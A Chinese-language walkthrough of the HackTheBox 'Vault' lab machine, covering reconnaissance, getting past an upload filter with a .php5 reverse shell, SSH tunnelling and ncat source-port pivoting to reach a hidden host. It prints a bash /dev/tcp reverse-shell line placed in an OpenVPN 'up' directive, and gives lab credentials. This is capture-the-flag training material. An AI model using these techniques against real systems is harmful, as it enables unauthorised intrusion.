前言
大家好,我是成都B1ngDa0,今天给大家带来HTB(hackthebox)的一个靶机:Vault的writeup,作为一篇自己回顾整理知识点以及分享给大家的文章。HTB的入坑,平台和网上都能简单的搜到,我就不在此赘述了,本人和朋友在HTB建立了团队以及交流群,如如果有意探讨,请联系我:Q_1147315521
实战
靶机地址: https://www.hackthebox.eu/home/machines/profile/161
目标IP: 10.10.10.109(Linux)
本机IP:10.10.14.43(Kali)
目标:获取user.txt以及root.txt(分别为获取目标的普通用户权限以及管理员权限)
信息收集
NMAP端口扫描
nmap -sC -sV -oA nmap 10.10.10.109
Nmap scan report for 10.10.10.109
Host is up (0.42s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
| 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
访问80端口:
网站信息
显示存在平台 sparklays
访问10.10.10.109/sparklays
403,直接进行目录爆破:
整理:
changelogo.php(可上传图片)
/uploads/ (为上传文件目录)
获取反弹shell
尝试直接上传PHP文件:
失败
测试发现是黑名单检测,通过1234.php5绕过限制
未直接找到地址,
我上传的是一个php反弹shell
使用nc监听1234端口并访问
http://10.10.10.109/sparklays/design/uploads/1234.php5
反弹成功获得用户www-data的shell。
查看Home目录内并未发现user.txt,发现以下内容:

Firewall – 192.168.122.5
The Vault – x
dave
Dav3therav3123
key内容:
itscominghome
发现主机存在网段192.168.122.x
通过ifconfig发现主机网段内ip为192.168.122.1
virbr0 Link encap:Ethernet HWaddr fe:54:00:17:ab:49
inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0
发现nc可用 通过nc扫描192.168.122.4开放的端口
ifconfig
nc -z -v 192.168.122.4 1-100
Connection to 192.168.122.4 22 port [tcp/ssh] succeeded!
Connection to 192.168.122.4 80 port [tcp/http] succeeded!
发现主机开放22、80端口
并且之前在目录下发现了ssh用户dave的登录账号密码
SSH端口转发
通过ssh端口转发并访问本地端口8888(文献参考)
ssh -L 8888:192.168.122.4:80 dave@10.10.10.109
访问两个链接发现
只有vpnconfig可用,但无其他信息,于是继续进行目录爆破
通过目录爆破发现/notes目录
并且提示有123.ovpn以及一个脚本
分别查看
连接DNS
直接使用123.ovpn的内容在vpnconfigurator页面执行
remote 192.168.122.1
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
nobind
up "/bin/bash -c '/bin/bash -i &> /dev/tcp/192.168.122.1/1337 0>&1'"
ubuntu主机监听1337
可看到已经获取DNF服务器的root,再次查看/home/dave发现user.txt
以及一个ssh账号密码与之前的有差异dav3gerous567
user权限拿下。
获取Root
连接Vault
在ubuntu机子上连接dave的ssh:
ssh dave@192.168.122.4
查看文件
/etc/hosts
发现新ip
192.168.5.2
在/var/log/auth.log文件中发现有连接的方法
可通过在DNS主机发现的DAVE凭据去登录192.168.5.2
对192.168.5.2进行端口扫描
nmap -Pn -sS -sU -T4 -p- 192.168.5.2
Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-09 03:57 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2) Host is up (0.0021s latency).
Not shown: 65535 open|filtered ports, 65533 filtered ports
PORT STATE SERVICE
53/tcp closed domain
4444/tcp closed krb524
通过auto.log得知指定源端口继续扫描可以发现另一个开放端口
nmap 192.168.5.2 -Pn --source-port=4444 –f
Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-09 03:57 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2) Host is up (0.0021s latency).
Not shown: 65535 open|filtered ports, 65533 filtered ports
PORT STATE SERVICE
987/tcp open unknown
按照auto.log的方法操作:
ncat -l 5555 --sh-exec "ncat 192.168.5.2 987 -p 53" &
netstat -antup
使用一个可用端口,在DNS上设置一个ncat侦听器,它将使用提供的源端口触发到Vault的连接。检查主机是否成功监听了该端口。
已成功
并且发现是一个ssh服务 于是我们使用dave的账号登录
发现一个root.txt.gpg
尝试解密gpg失败,没有密钥
在DNS机器上也没有密钥
在Ubuntu主机上发现了相同的ID
gpg --list-keys
/home/dave/.gnupg/pubring.gpg
-----------------------------
pub 4096R/0FDFBFE4 2018-07-24
uid david
sub 4096R/D1EB1F03 2018-07-24
文件传输
使用scp将root.txt.gpg传输至ubuntu主机
思路:
vault > dns > ubuntu
在DNS主机上执行
sudo ncat -l 5555 --sh-exec "ncat 192.168.5.2 987 -p 4444" &
scp -P 5555 dave@192.168.122.4:/home/dave/root.txt.gpg /tmp
在ubuntu主机上执行
scp dave@192.168.122.4:/tmp/root.txt.gpg .
这里需要一个key
就是一开始得到的key: itscominghome
获得root.txt:
个人感悟
Vault靶机,user.txt获取很简单,只考察一点枚举能力。在root.txt获取上比较麻烦,得找到并理清关系,主机存在Ubuntu上,可通过openvpn连接至DNS主机,通过auth.log知道Vault主机,root.txt存在于Vault主机并进行了gpg加密,通过密钥的寻找,确定在ubuntu使用key上解密即可得到root.txt
文献参考
ssh隧道:www.ssh.com/ssh/tunneli…
从OpenVPN配置文件获取反弹shell:medium.com/tenable-tec…
GPG Keys Cheatsheet:
scp跨机远程拷贝:

















